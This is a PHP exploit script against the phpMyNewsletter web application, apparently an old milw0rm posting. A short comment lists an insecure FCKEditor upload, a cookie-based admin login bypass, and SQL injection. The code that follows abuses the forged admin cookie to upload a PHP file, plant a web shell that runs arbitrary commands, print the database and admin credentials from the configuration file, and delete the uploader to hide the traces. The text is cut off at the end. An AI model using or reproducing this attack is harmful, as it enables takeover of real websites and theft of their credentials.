#!/usr/bin/php -q -d short_open_tag=on Thanks to rgod for the php code and Marty for the Love "; if ($argc<4) { echo "Usage: php ".$argv[0]." Site CMD Host: target server (ip/hostname) Path: path of phpMyNewsletter CMD: a shell command Example: php ".$argv[0]." localhost /inout/ cat /etc/password"; die; } /* Multiple Vuln can be found in this NewsLetter Script. I) FCKEditor Vuln This script uses an old version of FCKEditor, so you can upload arbitrary file with: [dir]\FCKeditor\editor\filemanager\browser\default\connectors\php\connector.php (See rgod exploits for more info on it) II) Login-Bypass This is the code to check admin rights: if(!isset($_COOKIE['admin'])) { header("Location:index.php"); } 1st: everyone can create a cookie named 'admin' 2nd: you neither have to do it, because the script doesn't die after the check.. This exploit Uses this vuln to create the shell. With Admin rights try to upload a PHP attachment, run it to retrieve config.inc.php and create a piggy_marty.php file. After that the script delete the uploaded attachment to leave no trace. III) SQL Injections There are SQL Injections EVERYWERE! one 4 all, changename.php: $result=mysql_query("select value from ".$tableprefix."ea_extraparam where eid=$id"); BlackHawk */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; $cmd=""; for ($i=3; $i<=$argc-1; $i++){ $cmd.=" ".$argv[$i]; } $cmd=urlencode($cmd); if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} echo "Step 0 - Check if piggy_marty.php already exist..\r\n"; $packet ="GET ".$p."attachments/696969/piggy_marty.php?cmd=$cmd HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; $packet.=$data; sendpacketii($packet); if (strstr($html,"666999")) { echo "Exploit succeeded...\r\n"; $temp=explode("666999",$html); die("\r\n".$temp[1]."\r\n"); } echo "Step1 - Create a dir for the exploit\r\n"; $packet="GET ".$p."attach.php?id=696969 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); sleep(3); echo "Step2 - Upload The exploit Creator & Config Disclosure\r\n"; $data="-----------------------------7d529a1d23092a\r\n"; $data.="Content-Disposition: form-data; name=\"file\"; filename=\"piggy_marty_creator.php\"\r\n"; $data.="Content-Type:\r\n\r\n"; $data.="'); fclose(\$fp); chmod('piggy_marty.php',777); include '../../config.inc.php'; echo 'delimitator'.\$mysql_server.'|'.\$mysql_username.'|'.\$mysql_password.'|'.\$mysql_dbname.'|'.\$username.'|'.\$password; ?>\r\n"; $data.="-----------------------------7d529a1d23092a--\r\n"; $packet="POST ".$p."attachfiles.php?id=696969 HTTP/1.0\r\n"; $packet.="CLIENT-IP: 999.999.999.999\r\n";//spoof $packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, * /*\r\n"; $packet.="Referer: http://".$host.$path."/example.html\r\n"; $packet.="Accept-Language: it\r\n"; $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092a\r\n"; $packet.="Accept-Encoding: gzip, deflate\r\n"; $packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Content-Length: ".strlen($data)."\r\n"; $packet.="Connection: Close\r\n"; $packet.="Cache-Control: no-cache\r\n"; $packet.="Cookie: admin=BlackHawk\r\n\r\n"; $packet.=$data; sendpacketii($packet); sleep(3); echo "Step3 - Create The Shell and Retrieve Login Information\r\n"; $packet="GET ".$p."attachments/696969/piggy_marty_creator.php HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode('delimitator',$html); list($myserver,$myusername,$mypassword,$mydbname,$lgnusername,$lgnpassword)=explode('|',$temp[1]); echo " --- INFO FROM CONFIG.INC.PHP --- MySQL Server: $myserver MySQL Username: $myusername MySQL Password: $mypassword MySQL Database: $mydbname Login: $lgnusername Password: $lgnpassword --- END INFO --- "; echo "Step4 - Remove Shell Creator\r\n"; $packet="GET ".$p."attach.php?id=696969 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); $temp=explode('piggy_marty_creator.php # milw0rm.com [2007-04-10]

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